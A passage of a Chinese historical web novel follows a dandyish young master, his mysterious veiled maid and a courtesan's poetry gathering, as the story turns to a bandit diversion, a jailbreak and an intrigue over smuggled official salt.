“不问我去哪了?”她开口时,惊飞了檐下一只夜栖的麻雀。
齐枫这才转过头,手中的青瓷茶盏映着月光,在他指间流转着莹润的光泽。
“桂花要谢了。”他忽然说,“你闻,香气里已经带着腐朽的味道。”
楚清秋蹙眉:“我在问你……”
“我听见了。”齐枫笑着抿了口茶,“可答案重要吗?你想说自然会告诉我,不想说,问了也没用。”
夜风拂过,楚清秋的面纱微微扬起。
她突然伸手按住飘飞的面纱,这个动作让齐枫注意到她右手虎口处多了一道细小的伤口,已经结了一层薄痂。
“你受伤了。”这不是疑问句。
楚清秋下意识将手背到身后:“小伤。”
“让我猜猜……”齐枫忽然凑近,茶香混着他温热的气息扑面而来,“是翻墙时被瓦片划的?还是说与人交手时留下的?”
楚清秋呼吸一滞。
月光下齐枫的睫毛在脸上投下细碎的阴影,那双总是含笑的眼此刻却锐利如剑。
她突然意识到,这个看似散漫的公子,或许比她想象中敏锐得多了。
“你早就知道。”她后退半步,声音发紧,“在醉月楼时你就发现我……”
“发现你趁乱从后院翻出去了?”齐枫直起身,又恢复了那副懒散模样,“拜托,我又不是傻子,你突然不在我身边了我都不知道,**啊!”
楚清秋抿了抿唇,忽然觉得面颊发烫,不是羞赧,而是一种被看透的恼怒。
“所以呢?”她语气冷了下来,“少爷是要兴师问罪?”
齐枫却突然笑出声,他转身从石桌上取来另一个茶盏,斟了七分满递给她:“尝尝,赵大人珍藏的云雾茶,我顺了两撮。”
茶汤清亮,在月光下泛着琥珀色的光晕。
楚清秋迟疑地接过,指尖不小心碰到齐枫的手指,触电般缩了回来。
“小心烫。”齐枫假装没注意到她的失态,自顾自地说,“这茶有意思,初尝苦涩,回味却甘甜得很。”
他意有所指地眨眨眼,“就像某些人,表面冷若冰霜……”
“你到底想说什么?”楚清秋打断他,茶盏在她手中微微晃动,映出她眼底的波动。
齐枫望着月亮叹了口气:“我只是想说,每个人都有自己的秘密。”
他转头看她,眼神出奇地温和,“就像我不问你为何会武功,不问你为何对那两个穿劲装的人反应异常。”
“你注意到了?”楚清秋猛地抬头。
“青田县最纨绔的少爷,最大的本事就是察言观色。”齐枫笑着指了指自己的眼睛,“你看到那两人时,呼吸乱了半拍,还下意识后退,那两个人是来找你的,对吧?”
楚清秋突然觉得手中的茶盏重若千钧。
夜风吹落一树桂花,细碎的花瓣落在她肩头,又被齐枫随手拂去。
这个自然而然的动作让她浑身一僵。
楚清秋黛眉微蹙:“你当真不在意?”
齐枫正把玩着茶盏,闻言抬头:“在意什么?”
“我的来历。”楚清秋一字一顿道
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,“我的目的。”
齐枫将茶盏轻轻放在石桌上,瓷器与青石相碰,发出清脆的声响。
“每个人都有自己的故事,不必太在意。”
楚清秋走近一步,面纱被风吹得贴在脸上,勾勒出精致的轮廓:“若我说,我手上沾过血呢?”
“哦?”齐枫挑眉,“是仇人的,还是无辜者的?”
“有区别吗?”
“当然。”齐枫站起身,月光在他衣袍上流淌,“仇人血是快意,无辜血是罪孽。”
楚清秋突然冷笑:“少爷倒是分得清楚。”
“最近不是在读圣贤书嘛。”齐枫笑了笑。
楚清秋沉默片刻,又问:“少爷不怕我另有所图?”
齐枫歪着头想了想:“图什么?图我欠赌坊的三百两银子?还是图我屋里那堆写废的诗稿?”
他忽然凑近,近到能看清楚清秋瞳孔中自己的倒影,“或者说……图我这个人?”
“荒唐!”楚清秋急退两步,面纱下的脸颊烧得厉害,幸好有夜色遮掩。
齐枫却哈哈大笑,笑声惊醒了树梢的宿鸟。他笑得前仰后合,最后不得不扶着廊柱喘气:“你、你这样子……可比平时可爱多了……”
楚清秋气得转身就要走,却被齐枫一把拉住手腕。
“好了,不逗你了。”齐枫的声音突然变得认真,“明日午时,陪我去趟西湖画舫?”
楚清秋挣开他的手,冷冷道:“少爷与美人泛舟,何须我碍眼?”
“咦?”齐枫夸张地吸了吸鼻子,“我怎么闻到一股醋味?”
“你!!”楚清秋气结,转身就走。
月光下她的耳尖红得滴血,脚步却比平时慌乱许多。
齐枫望着她的背影,忽然提高声音:“记得换双厚底鞋!画舫甲板露水重,容易着凉!”
远处传来“砰”的摔门声作为回应。
齐枫摸了摸鼻子,笑了。
他低头看着方才握住楚清秋手腕的右手,指尖似乎还残留着那抹微凉的触感。
“嘴硬。”
他轻声说,也不知是说给谁听。
第三十九章 画舫诗会
晨光透过雕花窗棂洒进厢房时,齐枫正倚在榻上看书。
小荷端着铜盆进来,盆沿还冒着热气:“少爷,赵大人派人来请,说早膳备好了。”
“这么早?”齐枫合上书,书页间夹着的桂花书签掉在地上。小荷弯腰去捡,忽然“咦”了一声:“这书签上的字……”
齐枫接过一看,原本空白的洒金笺上多了一行簪花小楷,字迹清秀却力道十足,墨色还带着新干的痕迹。
“青禾姐什么时候……”小荷话没说完,楚清秋已经端着茶盘站在门外,面纱上还沾着晨露。
“赵大人等了半刻钟了。”她声音清冷,仿佛昨夜月下的慌乱从未发生。
知府府的膳厅设在临水轩,四面轩窗大开,晨风裹着荷香穿堂而过。
赵明德正在剥一颗咸鸭蛋,金黄的油脂顺着青瓷碟边缓缓流淌。
“齐公子来了?”他抬头笑道,“快尝尝这个,高邮来的双黄蛋,腌得正好。”
齐枫行礼入座,发现桌上除了寻常粥点,竟还有一碟晶莹剔透的虾饺,皮薄得能看见里面粉红的虾仁。
“听说公子祖籍岭南,”赵明德推过青瓷小碟,“特意让厨子试做的。”
虾饺入口,鲜甜的汁水在舌尖迸开。
齐枫突然想起前身儿时在广州外祖家过年的情景,眼神不由柔和下来:“大人有心了。”
“本官年轻时在岭南任过通判。”赵明德舀了勺鱼片粥:“今日诗会,南宫玥姑娘可是出了名的眼高于顶,能得她青眼,齐公子好本事。”
窗外传来扑棱棱的声响,一只翠鸟落在莲叶上。
“学生惭愧,不过是凑巧写了首歪诗……”
“《水调歌头》若是歪诗,天下文人该羞**。”赵明德大笑,“对了,今日按察使卢大人也会赴会,公子不妨……”
话未说完,师爷匆匆进来耳语几句。
赵明德皱眉起身:“公务在身,先行一步。”
他走到门口又回头,“对了,齐公子,那艘画舫二层有间听雨轩,视野最佳。”
齐枫点了点头,不过很快就又皱起了眉头,按察使也要来,那楚清秋……
齐枫下意识的回头看了一眼楚清秋,却见她戴着面纱的眸子毫无波澜,心下稍安。
吃过早餐之后出了门。
西湖畔的垂柳下,周子陵正用折扇遮阳,见齐枫三人走来,立刻小跑着迎上:“齐兄!你再不来,南宫姑娘怕是要派画舫靠岸接人了!”
他今日换了身湖蓝直裰,腰间挂着的羊脂玉坠随动作叮咚作响。
见楚清秋目光落在玉坠上,周子陵得意地转了个圈:“怎么样?专门为诗会打的。”
“不错,很配你!”齐枫笑了笑。
周子陵昂首挺胸,似乎很高兴。
画舫离岸尚有百步,已能听见丝竹之声。
这艘三层楼船通体朱漆,船首雕着展翅仙鹤,每片羽毛都描着金线。
最惊人的是船楼立柱,竟是四根完整的金丝楠木,阳光下泛着琥珀色的光泽。
“去年太湖沉了艘商船,”周子陵压低声音,“打捞上来十二根千年金丝楠,光这一根就值……”
“三千两。”一个阴恻恻的声音传来。
陈玉堂不知何时站在了他们身后,今日他穿着墨绿团花缎袍,见到齐枫,他稍微拱手打了个招呼,也没有太亲近,显然是因为昨天输了赌注,心里有这想法。
不过齐枫倒是也不太在意。
“陈兄也来了?”周子陵假笑,“那就热闹了,陈兄今日这身团花缎袍甚是别致啊。”
他摇着折扇,故意在陈玉堂面前转了一圈,“这墨绿色衬得陈兄气色……呃……格外独特。”
陈玉堂冷哼一声:“周公子腰间这块羊脂玉倒是稀罕物,只是,”他眯眼凑近,“这雕工似乎是城南王记的手艺?他家专做赝品。”
“你!”周子陵涨红了脸,“这是家父从京城特地打的,你在此一派胡言!”
说着,两人面红耳赤的像是下一秒就要赤膊上阵干一架了。
“两位何必争执。”齐枫适时打断,指了指画舫二层悬挂的彩幡,“你们看那幡上的题字,笔力遒劲,想必是出自于名家大流!”
小荷突然
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指着船尾:“那边在分发冰镇杨梅汁。”
周子陵的注意力立刻被转移:“杨梅汁?南宫姑娘果然周到!听说她特意从姑苏请来的。”
“呵,周公子对南宫姑娘的喜好倒是了如指掌。”陈玉堂阴阳怪气地插话,“可惜姑娘似乎更欣赏会作诗的。”
说着意有所指地看向齐枫。
齐枫无奈摇头:“行了,登船吧。”
登船时,一名穿着褐色短打的管事拦住了小荷还有楚清秋:“两位姑娘,请出示……”
“她们是我的人。”齐枫亮出鎏金请柬。
管事看到落款处南宫玥的亲笔花押,立刻躬身退开。
画舫内部比外观更奢华。
地上铺着西域来的缠枝纹地毯,四角青铜冰鉴里飘出丝丝白雾,竟是在盛夏存了冰。
最引人注目的是中央悬着的十二盏琉璃宫灯,每盏都绘着不同的四季花卉。
“齐公子。”南宫玥的声音从二楼飘下。
她今日梳着惊鹄髻,发间只簪了支金累丝蝴蝶步摇,行走时蝶翅轻颤,仿佛随时要飞走,让人看的眼睛都直了。
众人哗然。
按惯例,花魁该在诗会正式开始才露面,此刻却亲自下楼相迎。
更令人震惊的是,她竟直接挽住了齐枫的手臂!那一对雪白的饱满挤压着齐枫的胳膊肘。
这一幕,看的陈玉堂是双目赤红,目眦欲裂啊!
何时,他何时才能被南宫玥这么对待?!
“那不是南宫玥吗?”有人窃窃私语,“今日怎么如此轻浮。”
“闭嘴!”同伴急忙制止,“那是青田齐家的公子,前日一首水调歌头……”
楚清秋站在三步之外,面纱无风自动。
小荷偷偷拽她袖子:“青禾姐,你的银针。”
“无妨。”楚清秋松开紧握的右手,三根银针已经弯成了钩状。
南宫玥似有所觉,转头冲楚清秋嫣然一笑,却将齐枫的手臂挽得更紧了:“公子这边请,奴家新得了一副飞天神女图,还要请公子鉴赏鉴赏呢。”
“好!”齐枫哈哈一笑:“去包间!”
第四十章 按察使卢大人
画舫二层的听雨轩内,四壁悬挂着名家字画,紫檀木案上摆着时令鲜果和精致的茶点。
南宫玥亲自为齐枫斟了一杯碧螺春,茶香氤氲中,她眼波流转:“公子可知这听雨轩的妙处?”
齐枫接过茶盏,指尖不经意触到南宫玥的柔荑,温润如玉:“愿闻其详。”
“这轩内暗藏机关。”南宫玥轻移莲步,素手在窗棂某处轻轻一按,轩顶竟缓缓打开,露出半透明的琉璃天窗,“晴时观云,雨时听雨,故名听雨轩。”
阳光透过琉璃洒落,在南宫玥绝美的容颜上投下斑驳光影,更添几分朦胧之美。
周子陵在一旁看得眼睛发直,忍不住插话:“南宫姑娘这画舫当真巧夺天工!”
“周公子。”南宫玥笑意不减,却不着痕迹地挪了挪身子,避开周子陵炽热的目光,“听闻令尊近日升任漕运总督,可喜可贺。”
周子陵闻言,顿时眉飞色舞:“南宫姑娘消息灵通!家父确实升迁了。”
“不过是正四品的漕运同知罢了。”陈玉堂冷笑一声,故意拆台,“周公子这般夸大其词,莫不是想人前显眼?”
“陈玉堂!”周子陵拍案而起,“你今日是存心与我过不去?怎么?你要跟我练一练?”
“练就练,我还会怕你不成?有辱斯文!”陈玉堂也不甘示弱。
眼看两人又要争执,齐枫轻咳一声:“两位,今日诗会,何必为些许小事伤了和气?”
南宫玥也适时转移话题:“说起来,若非齐公子赏脸,这听雨轩平日可不对外开放呢。”
她说着,纤纤玉手轻轻搭上齐枫的肩膀,“就连卢大人来了,也未必能开放呢。”
话音未落,楼下突然传来一阵骚动。
紧接着,急促的脚步声由远及近,一名小厮慌慌张张地跑上来:“姑娘!按察使卢大人到了!”
轩内众人闻言,纷纷起身。
南宫玥面色微变,迅速整理了一下衣襟:“诸位稍候,奴家去去就来。”
她刚走到门口,一个洪亮的声音已经从楼梯处传来:“不必了!本官自己上来!”
随着沉重的脚步声,一位身着绯色官服的中年男子大步走入听雨轩。
此人约莫五十出头,面容威严,一双鹰目炯炯有神,腰间玉带上挂着一枚鎏金鱼袋,彰显着正三品大员的身份。
“下官参见卢大人!”周子陵和陈玉堂连忙行礼。
齐枫也拱手作揖:“学生齐枫,见过卢大人。”
按察使卢正淳目光如电,在齐枫身上停留片刻,突然笑道:“你就是那个写出《水调歌头》的齐枫?本官在京城都听说了你的才名!”
齐枫谦逊道:“大人谬赞,学生愧不敢当。”
卢正淳捋了捋胡须,目光扫过轩内众人,最后落在南宫玥身上:“南宫姑娘,今日诗会,本官不请自来,不会打扰了诸位雅兴吧?”
南宫玥盈盈一礼:“大人说笑了。您能莅临,是奴家的荣幸。”
卢正淳大笑,径直走向主位坐下:“那还等什么?诗会开始吧!”
众人纷纷入座。
齐枫注意到,楚清秋自从卢正淳出现后,就一直站在最角落的阴影里,面纱下的表情看不真切,但那双眼睛却比平日更加冷冽。
“齐公子。”卢正淳突然开口,“本官听闻你不仅诗词了得,对对联也颇有造诣?”
齐枫微笑:“略知一二。”
“好!”卢正淳一拍桌案,“那今日诗会,就由本官出个上联,诸位才子各显神通,如何?”
众人齐声应和。
卢正淳沉吟片刻,目光在轩内扫视一圈,最后停留在那扇打开的琉璃天窗上,突然道:
“天窗开,云影入,一室清光摇笔砚。”
此联一出,满座哗然。
周子陵皱眉苦思,陈玉堂也抓耳挠腮,显然都被难住了。
南宫玥美目流转,轻声道:“卢大人这上联,将眼前景致与文人雅趣融为一体,当真妙极。”
卢正淳得意地捋须:“南宫姑娘过奖了。不知在座哪位才子能对出下联?”
众人面面相觑,最后都将目光投向了齐枫。
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齐枫不慌不忙地抿了口茶,目光不经意间瞥见角落里的楚清秋。
她正低头把玩着一枚玉佩,似乎对诗会毫无兴趣。
“齐公子?”卢正淳挑眉,“莫非连你也一时无策?”
齐枫放下茶盏,微微一笑:“学生斗胆一试。”
他略一沉吟,目光落在轩外湖面上的一叶扁舟上,朗声道:
“湖镜平,棹声远,半江明月载诗书。”
“好!”卢正淳拍案叫绝,“对仗工整,意境相合!齐公子果然名不虚传!”
周子陵也连连点头:“湖镜对天窗,明月对清光,妙!实在是妙!我怎么就想不到呢!”
陈玉堂虽然不甘,但也只能跟着附和:“确实不错。”
南宫玥眼波盈盈,亲自为齐枫斟满酒杯:“公子大才,奴家敬你一杯。”
卢正淳看着这一幕,眼中闪过一丝玩味:“齐公子与南宫姑娘,倒是郎才女貌啊。”
齐枫正要开口,突然听到角落里传来一声轻微的“咔嚓”声。
所有人的目光都落在了楚清秋身上。
“这位是?”卢正淳的目光转向楚清秋,眉头微皱。
齐枫连忙介绍:“这是学生的侍女,青禾。”
卢正淳盯着楚清秋看了片刻,突然笑道:“戴着面纱的侍女?倒是少见。”
他站起身,缓步走向楚清秋:“姑娘为何不以真面目示人?”
轩内气氛骤然紧张起来。
南宫玥手中的酒壶微微倾斜,酒液洒在了案几上。
周子陵和陈玉堂也察觉到了异常,不自觉地屏住了呼吸。
楚清秋站在原地一动不动,面纱下的表情看不真切,但那双眼睛却冷得像冰。
就在卢正淳即将走到楚清秋面前时,齐枫突然起身:“大人!学生忽然想到一首新诗,不知可否请大人品评?”
卢正淳脚步一顿,回头看向齐枫:“哦?”
齐枫不慌不忙地走到轩中央,朗声吟道:
“面纱轻掩倾城色,不向人间露真容。若问缘由何至此,只因……”
第四十一章 突变
齐枫故意停顿,目光扫过众人,最后落在卢正淳身上,“世道艰难险恶多。”
卢正淳愣了一下,随即大笑:“好诗!好一个世道艰难险恶多!齐公子这是在替你的侍女解释啊!”
他不再为难楚清秋,转身回到座位:“罢了罢了,本官只是好奇而已。既然齐公子都作诗解释了,那就不勉强了。”
危机暂时解除,轩内气氛重新活跃起来。
南宫玥悄悄松了口气,周子陵和陈玉堂又开始斗嘴。
而楚清秋,她依然站在角落,但齐枫注意到,她明显是松了一口气。
“好了。”卢正淳拍了拍手,“方才的对联只是开胃小菜。接下来,本官要出一个真正的难题了。”
他从袖中取出一卷画轴,缓缓展开:“这是本官珍藏的《雪夜访友图》,请诸位以画为题,即兴赋诗一首。最佳者……”
卢正淳微微停顿,意味深长地看了齐枫一眼,“本官将向朝廷举荐,保他一个前程!”
此言一出,满座哗然。
按察使亲自举荐,这可是天大的机会!
周子陵激动得脸都红了:“卢大人此话当真?”
“本官一言九鼎!”卢正淳傲然道。
陈玉堂也坐直了身子,摩拳擦掌:“那学生就献丑了!”
南宫玥美目流转,轻声道:“不知时限几何?”
卢正淳捋须一笑:“一炷香为限。”
小厮立刻点燃了一炷香,插在青铜香炉里。
青烟袅袅升起,诗会正式开始了。
周子陵第一个站起来,踱步到画前仔细端详,时而皱眉,时而点头。
陈玉堂也不甘示弱,取出随身携带的笔墨,在纸上写写画画。
齐枫却没有急着动笔,而是慢悠悠地品着茶,目光不时瞥向角落里的楚清秋。
她依然安静地站在那里,仿佛对这场关乎前程的比试毫不在意。
南宫玥走到齐枫身边,轻声道:“公子不着急吗?香已经燃了三分之一了。”
齐枫笑了笑:“好诗不怕晚。”
卢正淳将这一切看在眼里,眼中闪过一丝赞赏:“齐公子气定神闲,看来是胸有成竹啊。”
齐枫拱手:“大人过奖了,学生只是觉得,作诗如品茶,急不得。”
“说得好!”卢正淳大笑,“那本官就拭目以待了!”
香越燃越短,周子陵和陈玉堂都已经完成了诗作,正互相较劲。
而齐枫依然不慌不忙,直到香即将燃尽时,他才放下茶盏,站起身来。
“学生献丑了。”
他走到《雪夜访友图》前,凝视片刻,突然朗声吟道:
“日暮苍山远,天寒白屋贫。柴门闻犬吠,风雪夜归人。”
短短二十个字,却将画中意境描绘得淋漓尽致。
轩内一片寂静,所有人都被这诗中的孤寂与温暖所震撼。
卢正淳怔了半晌,突然拍案而起:“好!好一个风雪夜归人!此诗质朴无华,却意境深远,当为今日魁首!”
周子陵和陈玉堂虽然不甘,但也只能承认齐枫的诗确实更胜一筹。
南宫玥眼波盈盈,亲自为齐枫斟酒:“公子大才,奴家再敬你一杯。”
卢正淳满意地点头:“齐公子,本官说话算话。待回京后,定向圣上举荐你的才学!”
齐枫正要道谢,突然听到楼下传来一阵嘈杂声,紧接着是急促的脚步声。
一名侍卫慌慌张张地跑上来:“大人!不好了!出事了!”
卢正淳皱眉:“何事如此慌张?”
侍卫单膝跪地,声音发颤:“刚刚收到消息,黑风寨的二当家带着人马下山了,直奔府城而来!”
“什么?”卢正淳脸色大变,“他们好大的胆子!”
侍卫继续道:“更可怕的是,他们打着的旗号是,是为陈三报仇!”
轩内众人闻言,纷纷色变。
陈玉堂更是吓得手中的酒杯都掉在了地上:“陈、陈三?他不是已经**吗?”
卢正淳面色阴沉:“陈三确实**,但黑风寨的人显然不信他是**。”
他目光锐利地扫过众人,“今日诗会到此为止,本官要去处理此事。”
他起身大步离开,临走时对齐枫道:“齐公
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子,改日再叙!”
随着卢正淳的离去,画舫上一片混乱。
周子陵和陈玉堂匆匆告辞,南宫玥也忙着安抚其他宾客。
齐枫走到楚清秋身边,低声道:“我们也该走了。”
楚清秋点点头,面纱下的声音异常冷静:“黑风寨此时下山,绝非偶然。”
齐枫目光一凝:“你是说?”
“有人故意引他们来府城。”楚清秋的声音更低了,“而且,我怀疑……”
她的话没说完,因为南宫玥突然走了过来:“齐公子,画舫要立刻返航了。今日招待不周,还望见谅。”
齐枫拱手:“姑娘客气了。突发状况,理解理解。”
南宫玥欲言又止,最后只是轻声道:“公子保重。”
离开画舫时,齐枫回头看了一眼。
南宫玥站在船头,衣裙在风中飘扬,美得不似凡人。
而更让他注意的是,她看向府城的目光中,竟带着一丝忧虑?
“少爷?”小荷拉了拉齐枫的袖子,“我们快回去吧,听说土匪要来了!”
齐枫收回目光:“走吧。”
三人匆匆离开西湖,向知府府邸走去。
一路上,街上的行人都在议论黑风寨的事,恐慌的情绪正在蔓延。
楚清秋突然停下脚步:“不对。”
齐枫转头:“怎么了?”
楚清秋的声音异常冷静:“黑风寨若真要报仇,为何大张旗鼓地提前通知?这不合常理。”
齐枫眼中闪过一丝锐利:“你的意思是他们另有所图?”
“调虎离山。”楚清秋一字一顿道,“有人想引开卢正淳的注意力。”
齐枫心头一震:“那他们的真正目标是什么?”
“官盐。”楚清秋低声道,“那三十引失踪的官盐。”
就在此时,远处突然传来一阵急促的马蹄声。
一队骑兵飞驰而过,为首的正是卢正淳。
他们去的方向,赫然是府衙大牢!
齐枫和楚清秋对视一眼,同时想到了一个可能。
黑风寨的真正目标,是救出被关押的其他同伙!
第四十二章 暗流涌动
知府衙门的偏厅内,赵明德来回踱步,官靴踏在青砖上发出沉闷的声响。
窗外雨势渐大,檐角滴水成线,将庭院中的青石板冲刷得发亮。
“大人,卢大人已经带兵出城了。”师爷匆匆进来禀报,“临行前嘱咐下官转告您,务必加强府衙戒备。”
齐枫站在窗边,指尖轻轻敲击着窗棂:“赵大人,学生有一事不明。”
赵明德停下脚步:“齐公子但说无妨。”
“黑风寨若真要劫狱,为何提前放出风声?这不是打草惊蛇吗?”
齐枫转过身,雨水在他身后的窗棂上投下斑驳的影子,“况且陈三已死,他们还能救谁?”
赵明德眉头紧锁:“齐公子有所不知,黑风寨除了陈三,还有二当家独眼龙赵铁柱。此人凶残更甚陈三,且据密报,此人背后另有靠山。”
齐枫目光一闪:“哦?”
“此事说来话长。”赵明德示意师爷退下,亲自为齐枫斟了杯茶,“那三十引官盐失踪案,表面上是张韬勾结陈三所为,实则嘛。”
茶杯突然从赵明德手中滑落,在地上摔得粉碎。
“大人小心。”齐枫弯腰去捡,却见赵明德面色惨白,额头渗出细密的汗珠。
“无妨。”赵明德勉强笑了笑,“只是近来公务繁忙,有些乏了。”
齐枫不动声色地将碎瓷片放在一旁:“大人当以身体为重。”
窗外雨声渐急,一道闪电划破长空,照亮了赵明德疲惫的面容。
他沉默片刻,突然道:“齐公子,本官有一事相求。”
“大人请讲。”
“春闱在即,以公子之才,必能高中。”赵明德从袖中取出一封信,“这是本官写给座师礼部侍郎王大人的荐书。若公子不嫌弃。”
齐枫双手接过:“学生感激不尽。”
赵明德点点头,又取出一块令牌:“这是府衙通行令,公子在府城期间可自由出入。若有需要,可随时调阅案卷。”
齐枫心头微动。
赵明德此举,分明是要他参与调查官盐案!
“大人厚爱,学生愧不敢当。”齐枫郑重收下令牌,“只是学生一介白身。”
“齐公子过谦了。”赵明德意味深长地看着他,“能在诗会上识破张韬阴谋,又能在醉月楼全身而退,岂是寻常书生能做到的?”
齐枫笑而不语。
看来这位知府大人,早已将他查了个底朝天。
“报!!”一名衙役冒雨冲进来,“大人!黑风寨的人马在城东十里处突然转向,往青龙山方向去了!”
赵明德猛地站起:“果然有诈!”
齐枫眯起眼睛:“调虎离山?”
“不止如此。”赵明德快步走到地图前,“他们故意引卢大人出城,必有所图!”
雨点敲打着窗棂,齐枫的目光落在地图上的某个点:“盐课司仓库?”
赵明德瞳孔微缩:“齐公子如何得知?”
“猜的。”齐枫轻描淡写地说,“既然官盐失踪,黑风寨又突然行动,两者必有联系。”
赵明德深深看了齐枫一眼:“公子聪慧过人。实不相瞒,盐课司确实收到密报,今夜有人要劫仓。”
“那卢大人为何?”
“因为劫仓是假,劫狱才是真!”赵明德冷笑,“他们想救的不是陈三,而是……”
话音未落,远处突然传来一阵急促的钟声,紧接着是嘈杂的喊叫声。
“大人!不好了!”又一名衙役冲进来,“大牢被劫了!”
赵明德脸色大变:“果然如此!”
齐枫却站在原地没动:“劫了谁?”
衙役喘着粗气:“是,是前日抓的那个黑衣人!”
齐枫与赵明德对视一眼,两人同时想到了什么。
“备马!”赵明德厉声道,“本官要亲自去查看!”
雨幕中,齐枫站在廊下,看着赵明德带人匆匆离去的背影,若有所思。
“少爷。”楚清秋不知何时出现在他身后,“那黑衣人,就是醉月楼那晚逃走的那个。”
齐枫转身,雨水顺着屋檐滴落,在他们之间形成一道水帘:“你认识他?”
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>楚清秋沉默片刻:“他身上的标记,是北境边军的暗记。”
“边军?”齐枫挑眉,“边军的人为何会被关在府衙大牢?又为何有人要劫他?”
楚清秋摇头:“不清楚。但有一点可以确定。”
她突然住口,因为小荷正撑着伞从回廊那头跑来。
“少爷!”小荷气喘吁吁地停在两人面前,“厨房做了姜汤,趁热喝吧!”
齐枫接过伞,为小荷挡去飘进来的雨丝:“好,这就去。”
他转头看了楚清秋一眼,后者微微点头,三人一同向厨房走去。
雨越下越大,仿佛要将整个府城淹没。
与此同时,府城某处隐秘的宅院内,一个黑衣人被按在椅子上,脸上蒙着的黑布被粗暴地扯下。
“说!密函在哪?”一个阴冷的声音问道。
黑衣人啐了一口血沫:“呸!你们这些**贼,休想从我嘴里得到半个字!”
“嘴硬?”那人冷笑一声,从炭盆中抽出一根烧红的烙铁,“那就让你尝尝这个!”
惨叫声划破雨夜,却被雷声完美掩盖。
翌日清晨,雨过天晴。
齐枫刚用过早膳,小荷就急匆匆跑来:“少爷!吴少爷来了,说有急事!”
前厅里,吴胖子正来回踱步,圆脸上满是汗珠:“齐哥!出大事了!”
“慢慢说。”齐枫示意他坐下。
吴胖子擦了擦汗:“我表兄昨夜在盐课司当值,亲眼看见一队黑衣人劫走了三十引官盐!我得到消息,立刻快马加鞭赶来了。”
齐枫眯起眼睛:“不是去劫狱了吗?怎么又变成劫盐了?”
“这就是蹊跷之处!”吴胖子压低声音,“劫狱和劫盐是同一伙人!他们声东击西,先引开卢大人,然后……”
“等等。”齐枫打断他,“你表兄可看清那黑衣人的样貌?”
吴胖子摇头:“都蒙着面,但我表兄说,其中一人右眼戴着黑眼罩,应该就是黑风寨二当家独眼龙赵铁柱!”
此话一出,齐枫的眉头顿时紧锁了起来。
第四十三章 敲打敲打
齐枫若有所思:“赵铁柱劫官盐做什么?”
“更奇怪的是,”吴胖子凑得更近,“他们劫走的官盐,根本不在账册上!”
“什么意思?”
“就是。”吴胖子左右看了看,声音压得更低,“盐课司的账目显示,那三十引官盐早就失踪了。可我表兄亲眼所见,昨夜被劫走的,正是那批已经失踪的官盐!”
齐枫眼中精光一闪。
好一个偷梁换柱!
“齐哥,还有更吓人的。”吴胖子咽了口唾沫,“我表兄偷听到,那批官盐上,刻着特殊的标记。”
“什么标记?”
吴胖子蘸着茶水在桌上画了个古怪的符号:“就是这个。”
齐枫盯着那个符号看了片刻,突然眉头一皱。
“你表兄还听到什么?”
“说这批盐是要运往北境的。”吴胖子声音发颤,“而且似乎与朝中某位大人物有关。”
齐枫心头一震。
北境?朝中大人物?再加上楚清秋说的边军暗记。
这一切,似乎都指向某个惊人的真相!
“少爷!”小荷突然慌慌张张地跑进来,“知府大人派人来请,说有要事相商!”
齐枫起身整了整衣襟:“吴胖子,你先回去,或者在府城找个客栈先休息休息,记住,今日之事,不要对任何人提起。”
吴胖子连连点头:“齐哥放心,我嘴严着呢!”
知府书房内,赵明德面色凝重:“齐公子,昨夜之事,想必你已经听说了。”
齐枫点头:“略有耳闻。”
“本官怀疑,此案背后另有主谋。”赵明德从暗格中取出一封密信,“这是今早收到的。”
齐枫展开一看,上面只有寥寥数字:盐引北运,边关有变。
“这是?”
“卢大人的密信。”赵明德沉声道,“他今晨在青龙山发现了黑风寨的老巢,但……”
“但什么?”
“但那里已经人去楼空,只留下这个。”赵明德又取出一块令牌,“认识这个吗?”
齐枫接过令牌,只见上面刻着一个“萧”字。
“这是?”
“北境萧家的令牌。”赵明德声音发紧,“萧家世代镇守边关,现任家主萧远山,更是当朝太后的亲弟弟!”
齐枫瞳孔微缩。
太后?这事情怎么越来越复杂了。
原本以为官盐仅仅涉及张家,但如今看来,这张家并非主要人物!
“此事牵连甚广。”赵明德收起令牌,“本官已经密奏朝廷。在此之前,还请齐公子暂时保密。”
齐枫拱手:“学生明白。”
离开知府衙门,齐枫心事重重。
楚清秋在门外等候,见他出来,立刻迎上前:“少爷?”
齐枫看了她一眼:“回房再说。”
房间里,齐枫将所见所闻简要告知楚清秋,唯独隐去了萧家那段。
“你怎么看?”他问道。
楚清秋沉默片刻:“有人在利用黑风寨走私官盐。”
“目的呢?”
“官盐管控严格,民间私盐利润极高。”楚清秋分析道,“三十引官盐,足够一支千人军队半年用度。”
齐枫心头一跳:“你的意思是?”
“有人要造!反!?”楚清秋摇头,“未必。但养私兵是肯定的。”
齐枫若有所思:“那劫狱的黑衣人?”
“应该是发现了这个秘密,所以被灭口。”楚清秋声音冰冷,“可惜他们没想到,人会被卢正淳抓走。”
齐枫盯着楚清秋看了许久,突然问道:“青禾,你到底是什么人?为何对边军和朝中之事如此了解?”
楚清秋面纱下的表情看不真切:“少爷不是说过,每个人都有秘密吗?”
齐枫哑然失笑:“你说得对,我就随便问问,行了,吴胖子说失踪的官盐不在账上,这件事情,你再去查一查,确定一下。”
楚清秋点点头,离去了。
又是一日月落日升。
清晨,府衙后院。
齐枫站在廊下,望着晴空,摩挲着赵明德给他的府衙令牌。
“少爷。”楚清秋的声音从身后传来。
“查到了?”齐枫没有回头,只是淡淡问道。
“嗯。”楚清秋走近,“吴公子说的
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没错。”
“北境……”齐枫喃喃,脑海中闪过赵明德提到的“萧家令牌”。
“少爷,此事恐怕比我们想象的更复杂,你确定要卷入其中吗?还有,你打算接下来怎么办?”楚清秋问道。
齐枫收起思绪,淡淡道:“先静观其变,赵明德既然给了我们府衙令牌,说明他也在怀疑此事。”
“另外……”他顿了顿,“科举在即,我们也不能耽误。”
楚清秋点头,随即又补充道:“还有一事,少爷的那几百亩田,佃户们已经按照新法子耕种,但最近似乎有人在暗中阻挠。”
“哦?”齐枫挑眉。
“有人在田里撒了药,毁了几亩秧苗。”楚清秋冷声道,“我怀疑,是张家的人。”
齐枫眼中闪过一丝冷意。
张韬?还是说,有人不想让他安心备考?
“先不管田里的事。”齐枫淡淡道,“科举才是眼下最重要的。”
“是。”楚清秋应声。
就在这时,小荷匆匆跑来,气喘吁吁道:“少爷!吴少爷又来了,说有急事!”
齐枫眉头一皱:“他又打听到什么了?”
前厅里,吴胖子满头大汗,见到齐枫立刻凑上来,压低声音道:“齐哥!大事不好!我表兄失踪了!”
“失踪?”齐枫眼神一凝。
“对!就是昨夜在盐课司当值的那个!”吴胖子急道,“今早他本该回家,可人却不见了,家里人都急疯了!”
